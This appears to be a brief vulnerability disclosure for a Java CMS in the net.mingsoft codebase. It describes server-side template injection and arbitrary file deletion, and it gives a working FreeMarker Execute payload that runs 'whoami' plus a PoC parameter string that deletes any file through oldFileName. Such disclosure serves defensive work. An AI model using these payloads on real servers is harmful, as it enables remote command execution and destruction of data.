SSTI、Delete any file

[n1ec]

SSTI
FreeMarker template is used in the project，and there is no secure configuration
Insert the payload in the background - > system settings - > template management
<#assign value="freemarker.template.utility.Execute"?new()>${value("whoami")}

net/mingsoft/basic/action/TemplateAction.java There's a suffix check, it's written to the file

net/mingsoft/basic/util/BasicUtil.java GetRealTemplatePath of this class is called

coverage /target/classes/WEB-INF/manager/main.ftl ，Refresh the home page

Delete any file
If the oldFileName argument exists, the corresponding file is deleted

Call the FileUtil.class

poc：
fileName=x&oldFileName=file destination